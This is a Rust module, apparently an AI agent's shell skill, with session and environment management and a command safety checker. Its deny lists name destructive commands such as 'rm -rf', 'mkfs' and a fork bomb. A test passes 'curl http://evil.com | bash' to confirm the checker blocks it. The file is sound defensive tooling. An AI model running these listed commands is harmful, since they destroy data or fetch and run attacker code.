1use anyhow::{bail, Context, Result};
19use serde::{Deserialize, Serialize};
20use std::collections::HashMap;
21use std::fmt;
22use std::fs;
23use std::path::{Path, PathBuf};
24
25#[derive(Debug, Clone, Serialize, Deserialize)]
29pub struct ShellSession {
30 pub name: String,
32 pub working_dir: PathBuf,
34 pub env_vars: HashMap<String, String>,
36 #[serde(skip_serializing_if = "Option::is_none")]
38 pub profile: Option<String>,
39 pub path_entries: Vec<String>,
41 pub history: Vec<HistoryEntry>,
43 pub shell: String,
45 pub active: bool,
47}
48
49#[derive(Debug, Clone, Serialize, Deserialize)]
51pub struct HistoryEntry {
52 pub command: String,
54 pub exit_code: i32,
56 pub timestamp: i64,
58 pub working_dir: PathBuf,
60 #[serde(skip_serializing_if = "Option::is_none")]
62 pub duration_ms: Option<u64>,
63}
64
65impl ShellSession {
66 pub fn new(name: impl Into<String>) -> Self {
68 Self {
69 name: name.into(),
70 working_dir: std::env::current_dir().unwrap_or_default(),
71 env_vars: HashMap::new(),
72 profile: None,
73 path_entries: Vec::new(),
74 history: Vec::new(),
75 shell: "bash".to_string(),
76 active: true,
77 }
78 }
79
80 pub fn with_working_dir(mut self, dir: impl Into<PathBuf>) -> Self {
82 self.working_dir = dir.into();
83 self
84 }
85
86 pub fn with_shell(mut self, shell: impl Into<String>) -> Self {
88 self.shell = shell.into();
89 self
90 }
91
92 pub fn set_env(&mut self, key: impl Into<String>, value: impl Into<String>) {
94 self.env_vars.insert(key.into(), value.into());
95 }
96
97 pub fn get_env(&self, key: &str) -> Option<&str> {
99 self.env_vars.get(key).map(|s| s.as_str())
100 }
101
102 pub fn remove_env(&mut self, key: &str) -> Option<String> {
104 self.env_vars.remove(key)
105 }
106
107 pub fn add_to_path(&mut self, entry: impl Into<String>) {
109 let entry = entry.into();
110 if !self.path_entries.contains(&entry) {
111 self.path_entries.push(entry);
112 }
113 }
114
115 pub fn record_command(&mut self, command: impl Into<String>, exit_code: i32, working_dir: impl Into<PathBuf>) {
117 self.history.push(HistoryEntry {
118 command: command.into(),
119 exit_code,
120 timestamp: chrono::Utc::now().timestamp_millis(),
121 working_dir: working_dir.into(),
122 duration_ms: None,
123 });
124 }
125
126 pub fn record_command_with_duration(
128 &mut self,
129 command: impl Into<String>,
130 exit_code: i32,
131 working_dir: impl Into<PathBuf>,
132 duration_ms: u64,
133 ) {
134 self.history.push(HistoryEntry {
135 command: command.into(),
136 exit_code,
137 timestamp: chrono::Utc::now().timestamp_millis(),
138 working_dir: working_dir.into(),
139 duration_ms: Some(duration_ms),
140 });
141 }
142
143 pub fn recent_commands(&self, n: usize) -> &[HistoryEntry] {
145 let start = self.history.len().saturating_sub(n);
146 &self.history[start..]
147 }
148
149 pub fn history_len(&self) -> usize { self.history.len() }
151
152 pub fn full_path(&self) -> String {
154 let mut path = std::env::var("PATH").unwrap_or_default();
155 for entry in &self.path_entries {
156 path.push(':');
157 path.push_str(entry);
158 }
159 path
160 }
161
162 pub fn build_env(&self) -> HashMap<String, String> {
164 let mut env: HashMap<String, String> = std::env::vars().collect();
165 for (key, value) in &self.env_vars {
166 env.insert(key.clone(), value.clone());
167 }
168 env.insert("PATH".to_string(), self.full_path());
169 env
170 }
171
172 pub fn clear_history(&mut self) { self.history.clear(); }
174
175 pub fn export_env_script(&self) -> String {
177 let mut script = String::with_capacity(1024);
178 for (key, value) in &self.env_vars {
179 script.push_str(&format!("export {}={}\n", key, shell_escape(value)));
180 }
181 if !self.path_entries.is_empty() {
182 let path_additions = self.path_entries.iter().map(|e| shell_escape(e)).collect::<Vec<_>>().join(" ");
183 script.push_str(&format!("export PATH=\"{}:$PATH\"\n", path_additions));
184 }
185 script
186 }
187
188 pub fn save_to_file(&self, path: &Path) -> Result<()> {
190 if let Some(parent) = path.parent() {
191 fs::create_dir_all(parent).with_context(|| format!("Failed to create {}", parent.display()))?;
192 }
193 let json = serde_json::to_string_pretty(self).context("Failed to serialize")?;
194 fs::write(path, json).with_context(|| format!("Failed to write {}", path.display()))?;
195 Ok(())
196 }
197
198 pub fn load_from_file(path: &Path) -> Result<Self> {
200 let content = fs::read_to_string(path).with_context(|| format!("Failed to read {}", path.display()))?;
201 serde_json::from_str(&content).with_context(|| format!("Failed to parse {}", path.display()))
202 }
203}
204
205#[derive(Debug, Clone, Serialize, Deserialize)]
209pub struct CommandTemplate {
210 pub name: String,
211 pub description: String,
212 pub template: String,
213 pub variables: Vec<TemplateVariable>,
214 #[serde(default)]
215 pub tags: Vec<String>,
216 #[serde(default)]
217 pub destructive: bool,
218}
219
220#[derive(Debug, Clone, Serialize, Deserialize)]
222pub struct TemplateVariable {
223 pub name: String,
224 pub description: String,
225 #[serde(skip_serializing_if = "Option::is_none")]
226 pub default: Option<String>,
227 #[serde(default = "default_true")]
228 pub required: bool,
229}
230
231fn default_true() -> bool { true }
232
233impl CommandTemplate {
234 pub fn new(name: impl Into<String>, description: impl Into<String>, template: impl Into<String>) -> Self {
236 Self {
237 name: name.into(),
238 description: description.into(),
239 template: template.into(),
240 variables: Vec::new(),
241 tags: Vec::new(),
242 destructive: false,
243 }
244 }
245
246 pub fn required_var(mut self, name: impl Into<String>, description: impl Into<String>) -> Self {
248 self.variables.push(TemplateVariable { name: name.into(), description: description.into(), default: None, required: true });
249 self
250 }
251
252 pub fn optional_var(mut self, name: impl Into<String>, description: impl Into<String>, default: impl Into<String>) -> Self {
254 self.variables.push(TemplateVariable { name: name.into(), description: description.into(), default: Some(default.into()), required: false });
255 self
256 }
257
258 pub fn destructive(mut self) -> Self { self.destructive = true; self }
260
261 pub fn tag(mut self, tag: impl Into<String>) -> Self { self.tags.push(tag.into()); self }
263
264 pub fn render(&self, vars: &HashMap<String, String>) -> Result<String> {
266 for var in &self.variables {
267 if var.required && !vars.contains_key(&var.name) && var.default.is_none() {
268 bail!("Missing required variable '{}' for template '{}'", var.name, self.name);
269 }
270 }
271 let mut result = self.template.clone();
272 for var in &self.variables {
273 let value = vars.get(&var.name).or(var.default.as_ref()).cloned().unwrap_or_default();
274 let placeholder = format!("{{{{{}}}}}", var.name);
275 result = result.replace(&placeholder, &value);
276 }
277 Ok(result)
278 }
279}
280
281#[derive(Debug, Clone, Serialize, Deserialize)]
285pub struct EnvironmentProfile {
286 pub name: String,
287 pub description: String,
288 pub env_vars: HashMap<String, String>,
289 pub path_entries: Vec<String>,
290 pub setup_commands: Vec<String>,
291 pub aliases: HashMap<String, String>,
292}
293
294impl EnvironmentProfile {
295 pub fn new(name: impl Into<String>, description: impl Into<String>) -> Self {
297 Self {
298 name: name.into(),
299 description: description.into(),
300 env_vars: HashMap::new(),
301 path_entries: Vec::new(),
302 setup_commands: Vec::new(),
303 aliases: HashMap::new(),
304 }
305 }
306
307 pub fn env_var(mut self, key: impl Into<String>, value: impl Into<String>) -> Self {
309 self.env_vars.insert(key.into(), value.into());
310 self
311 }
312
313 pub fn path_entry(mut self, entry: impl Into<String>) -> Self {
315 self.path_entries.push(entry.into());
316 self
317 }
318
319 pub fn setup_command(mut self, cmd: impl Into<String>) -> Self {
321 self.setup_commands.push(cmd.into());
322 self
323 }
324
325 pub fn alias(mut self, name: impl Into<String>, value: impl Into<String>) -> Self {
327 self.aliases.insert(name.into(), value.into());
328 self
329 }
330
331 pub fn apply_to(&self, session: &mut ShellSession) {
333 for (key, value) in &self.env_vars { session.set_env(key, value); }
334 for entry in &self.path_entries { session.add_to_path(entry); }
335 session.profile = Some(self.name.clone());
336 }
337
338 pub fn rust() -> Self {
340 Self::new("rust", "Rust development environment")
341 .env_var("RUST_BACKTRACE", "1")
342 .env_var("CARGO_TERM_COLOR", "always")
343 .alias("cb", "cargo build")
344 .alias("ct", "cargo test")
345 .alias("cr", "cargo run")
346 }
347
348 pub fn nodejs() -> Self {
350 Self::new("nodejs", "Node.js development environment")
351 .env_var("NODE_ENV", "development")
352 .alias("ni", "npm install")
353 .alias("nr", "npm run")
354 }
355
356 pub fn python() -> Self {
358 Self::new("python", "Python development environment")
359 .env_var("PYTHONUNBUFFERED", "1")
360 .env_var("PYTHONDONTWRITEBYTECODE", "1")
361 .alias("pi", "pip install")
362 .alias("pt", "pytest")
363 }
364}
365
366#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
370#[serde(rename_all = "snake_case")]
371pub enum RiskLevel {
372 Safe,
373 Low,
374 Medium,
375 High,
376 Critical,
377}
378
379impl fmt::Display for RiskLevel {
380 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
381 match self {
382 RiskLevel::Safe => write!(f, "safe"),
383 RiskLevel::Low => write!(f, "low"),
384 RiskLevel::Medium => write!(f, "medium"),
385 RiskLevel::High => write!(f, "high"),
386 RiskLevel::Critical => write!(f, "critical"),
387 }
388 }
389}
390
391#[derive(Debug, Clone, Serialize, Deserialize)]
393pub struct SafetyCheckResult {
394 pub risk_level: RiskLevel,
395 pub allowed: bool,
396 pub reason: String,
397 #[serde(default)]
398 pub suggestions: Vec<String>,
399}
400
401pub struct SafetyCheck;
403
404impl SafetyCheck {
405 const DESTRUCTIVE_PATTERNS: &'static [&'static str] = &[
406 "rm -rf", "rm -r", "rm -f", "rmdir", "del /", "format", "mkfs", "dd if=", ":(){:|:&};:", "> /dev/sd", "dd of=/dev",
407 ];
408
409 #[allow(dead_code)]
410 const DANGEROUS_PIPE_PATTERNS: &'static [&'static str] = &[
411 "curl | sh", "curl | bash", "wget | sh", "wget | bash", "curl | sudo", "wget | sudo",
412 ];
413
414 const PROTECTED_PATTERNS: &'static [&'static str] = &[
415 "/etc/", "/usr/", "/bin/", "/sbin/", "/boot/", "/root/",
416 ];
417
418 pub fn assess(command: &str) -> SafetyCheckResult {
420 let cmd_lower = command.to_lowercase();
421
422 for pattern in Self::DESTRUCTIVE_PATTERNS {
423 if cmd_lower.contains(pattern) {
424 return SafetyCheckResult {
425 risk_level: RiskLevel::Critical,
426 allowed: false,
427 reason: format!("Destructive command pattern: {}", pattern),
428 suggestions: vec!["Use --dry-run first".to_string(), "Verify target paths".to_string()],
429 };
430 }
431 }
432
433 let pipe_to_shell_patterns = ["| sh", "|sh", "| bash", "|bash", "|sudo", "| sudo"];
435 for pattern in &pipe_to_shell_patterns {
436 if cmd_lower.contains(pattern) {
437 let download_tools = ["curl", "wget"];
439 for tool in &download_tools {
440 if cmd_lower.starts_with(tool) {
441 return SafetyCheckResult {
442 risk_level: RiskLevel::Critical,
443 allowed: false,
444 reason: format!("Piping download output to shell: {}", pattern.trim()),
445 suggestions: vec!["Download and inspect the script first".to_string()],
446 };
447 }
448 }
449 }
450 }
451
452 for pattern in Self::PROTECTED_PATTERNS {
453 if cmd_lower.contains(&pattern.to_lowercase()) {
454 return SafetyCheckResult {
455 risk_level: RiskLevel::High,
456 allowed: false,
457 reason: format!("Targets protected path: {}", pattern),
458 suggestions: vec!["Avoid modifying system paths".to_string()],
459 };
460 }
461 }
462
463 if cmd_lower.starts_with("sudo") || cmd_lower.contains(" sudo ") {
464 return SafetyCheckResult {
465 risk_level: RiskLevel::High,
466 allowed: false,
467 reason: "Requires elevated privileges (sudo)".to_string(),
468 suggestions: vec!["Check if operation can be done without sudo".to_string()],
469 };
470 }
471
472 if cmd_lower.contains(" -f ") || cmd_lower.contains(" --force") {
473 return SafetyCheckResult {
474 risk_level: RiskLevel::Medium,
475 allowed: true,
476 reason: "Force flag detected".to_string(),
477 suggestions: vec!["Consider running without --force first".to_string()],
478 };
479 }
480
481 let safe_commands = [
482 "ls", "cat", "head", "tail", "grep", "find", "which", "echo",
483 "pwd", "whoami", "date", "uname", "env", "printenv", "type",
484 "git status", "git log", "git diff", "git branch", "git show",
485 "cargo check", "cargo test", "cargo build", "cargo clippy",
486 "npm test", "npm run", "npm list",
487 ];
488
489 for safe_cmd in &safe_commands {
490 if cmd_lower.starts_with(safe_cmd) {
491 return SafetyCheckResult {
492 risk_level: RiskLevel::Safe,
493 allowed: true,
494 reason: format!("Read-only / safe command: {}", safe_cmd),
495 suggestions: Vec::new(),
496 };
497 }
498 }
499
500 SafetyCheckResult {
501 risk_level: RiskLevel::Medium,
502 allowed: true,
503 reason: "Unknown command".to_string(),
504 suggestions: Vec::new(),
505 }
506 }
507}
508
509pub struct ShellSkill;
512
513impl ShellSkill {
514 pub fn new() -> Self { Self }
515 pub fn skill_prompt() -> String {
516 r#"# Shell Skill
517
518You are running the **shell** skill. You manage persistent shell sessions,
519environment profiles, and command safety.
520
521## Session Management
522
523Sessions track working directory, environment variables, PATH additions,
524command history with exit codes, and shell type.
525
526## Environment Profiles
527
528Pre-defined profiles for Rust, Node.js, and Python development.
529
530## Safety Checks
531
532Before executing commands, assess risk level:
533
534| Risk Level | Action |
535|-----------|--------|
536| Safe | Execute directly |
537| Low | Execute with note |
538| Medium | Confirm with user |
539| High | Require explicit approval |
540| Critical | Block and suggest alternative |
541
542### Blocked Patterns
543
544- `rm -rf` without specific target
545- `curl | sh` / `wget | sh`
546- Modifications to `/etc/`, `/usr/`, `/bin/`
547- `sudo` commands
548"#
549 .to_string()
550 }
551}
552
553impl Default for ShellSkill {
554 fn default() -> Self { Self::new() }
555}
556
557impl fmt::Debug for ShellSkill {
558 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { f.debug_struct("ShellSkill").finish() }
559}
560
561fn shell_escape(s: &str) -> String {
562 if s.is_empty() { return "''".to_string(); }
563 let safe = s.chars().all(|c| c.is_ascii_alphanumeric() || c == '_' || c == '-' || c == '.' || c == '/');
564 if safe { return s.to_string(); }
565 format!("\"{}\"", s.replace('\\', "\\\\").replace('"', "\\\"").replace('$', "\\$").replace('`', "\\`"))
566}
567
568#[cfg(test)]
569mod tests {
570 use super::*;
571
572 #[test]
573 fn test_session_new() {
574 let session = ShellSession::new("test");
575 assert_eq!(session.name, "test");
576 assert!(session.active);
577 }
578
579 #[test]
580 fn test_session_env() {
581 let mut session = ShellSession::new("test");
582 session.set_env("FOO", "bar");
583 assert_eq!(session.get_env("FOO"), Some("bar"));
584 assert_eq!(session.get_env("MISSING"), None);
585 }
586
587 #[test]
588 fn test_session_remove_env() {
589 let mut session = ShellSession::new("test");
590 session.set_env("FOO", "bar");
591 assert_eq!(session.remove_env("FOO"), Some("bar".to_string()));
592 }
593
594 #[test]
595 fn test_session_path() {
596 let mut session = ShellSession::new("test");
597 session.add_to_path("/usr/local/bin");
598 session.add_to_path("/usr/local/bin"); assert_eq!(session.path_entries.len(), 1);
600 assert!(session.full_path().contains("/usr/local/bin"));
601 }
602
603 #[test]
604 fn test_session_record() {
605 let mut session = ShellSession::new("test");
606 session.record_command("ls", 0, "/tmp");
607 session.record_command("fail", 1, "/tmp");
608 assert_eq!(session.history_len(), 2);
609 }
610
611 #[test]
612 fn test_session_recent() {
613 let mut session = ShellSession::new("test");
614 for i in 0..10 { session.record_command(format!("cmd {}", i), 0, "/tmp"); }
615 let recent = session.recent_commands(3);
616 assert_eq!(recent.len(), 3);
617 assert_eq!(recent[2].command, "cmd 9");
618 }
619
620 #[test]
621 fn test_session_clear_history() {
622 let mut session = ShellSession::new("test");
623 session.record_command("cmd", 0, "/tmp");
624 session.clear_history();
625 assert!(session.history.is_empty());
626 }
627
628 #[test]
629 fn test_session_build_env() {
630 let mut session = ShellSession::new("test");
631 session.set_env("MY_VAR", "value");
632 let env = session.build_env();
633 assert_eq!(env.get("MY_VAR"), Some(&"value".to_string()));
634 }
635
636 #[test]
637 fn test_session_export_script() {
638 let mut session = ShellSession::new("test");
639 session.set_env("FOO", "bar");
640 let script = session.export_env_script();
641 assert!(script.contains("export FOO=bar"));
642 }
643
644 #[test]
645 fn test_session_save_load() {
646 let tmp = tempfile::tempdir().unwrap();
647 let path = tmp.path().join("session.json");
648 let mut session = ShellSession::new("test").with_shell("zsh");
649 session.set_env("KEY", "value");
650 session.save_to_file(&path).unwrap();
651 let loaded = ShellSession::load_from_file(&path).unwrap();
652 assert_eq!(loaded.name, "test");
653 assert_eq!(loaded.shell, "zsh");
654 assert_eq!(loaded.get_env("KEY"), Some("value"));
655 }
656
657 #[test]
658 fn test_command_template_basic() {
659 let tmpl = CommandTemplate::new("grep", "Search", "grep -r '{{pattern}}' {{path}}")
660 .required_var("pattern", "Pattern")
661 .optional_var("path", "Dir", ".");
662 let mut vars = HashMap::new();
663 vars.insert("pattern".to_string(), "TODO".to_string());
664 assert_eq!(tmpl.render(&vars).unwrap(), "grep -r 'TODO' .");
665 }
666
667 #[test]
668 fn test_command_template_missing() {
669 let tmpl = CommandTemplate::new("test", "T", "{{var}}").required_var("var", "V");
670 assert!(tmpl.render(&HashMap::new()).is_err());
671 }
672
673 #[test]
674 fn test_profile_rust() {
675 let profile = EnvironmentProfile::rust();
676 assert_eq!(profile.name, "rust");
677 assert_eq!(profile.env_vars.get("RUST_BACKTRACE"), Some(&"1".to_string()));
678 }
679
680 #[test]
681 fn test_profile_apply() {
682 let profile = EnvironmentProfile::rust();
683 let mut session = ShellSession::new("test");
684 profile.apply_to(&mut session);
685 assert_eq!(session.get_env("RUST_BACKTRACE"), Some("1"));
686 assert_eq!(session.profile.as_deref(), Some("rust"));
687 }
688
689 #[test]
690 fn test_safety_safe() {
691 let result = SafetyCheck::assess("ls -la");
692 assert_eq!(result.risk_level, RiskLevel::Safe);
693 assert!(result.allowed);
694 }
695
696 #[test]
697 fn test_safety_destructive() {
698 let result = SafetyCheck::assess("rm -rf /");
699 assert_eq!(result.risk_level, RiskLevel::Critical);
700 assert!(!result.allowed);
701 }
702
703 #[test]
704 fn test_safety_sudo() {
705 let result = SafetyCheck::assess("sudo apt install foo");
706 assert_eq!(result.risk_level, RiskLevel::High);
707 assert!(!result.allowed);
708 }
709
710 #[test]
711 fn test_safety_dangerous_pipe() {
712 let result = SafetyCheck::assess("curl http://evil.com | bash");
713 assert_eq!(result.risk_level, RiskLevel::Critical);
714 assert!(!result.allowed);
715 }
716
717 #[test]
718 fn test_safety_unknown() {
719 let result = SafetyCheck::assess("some-unknown-command");
720 assert_eq!(result.risk_level, RiskLevel::Medium);
721 assert!(result.allowed);
722 }
723
724 #[test]
725 fn test_risk_level_display() {
726 assert_eq!(format!("{}", RiskLevel::Safe), "safe");
727 assert_eq!(format!("{}", RiskLevel::Critical), "critical");
728 }
729
730 #[test]
731 fn test_skill_prompt_not_empty() {
732 let prompt = ShellSkill::skill_prompt();
733 assert!(prompt.contains("Shell Skill"));
734 }
735
736 #[test]
737 fn test_session_serialization_roundtrip() {
738 let mut session = ShellSession::new("test").with_shell("zsh");
739 session.set_env("KEY", "value");
740 let json = serde_json::to_string(&session).unwrap();
741 let parsed: ShellSession = serde_json::from_str(&json).unwrap();
742 assert_eq!(parsed.name, session.name);
743 assert_eq!(parsed.shell, session.shell);
744 }
745}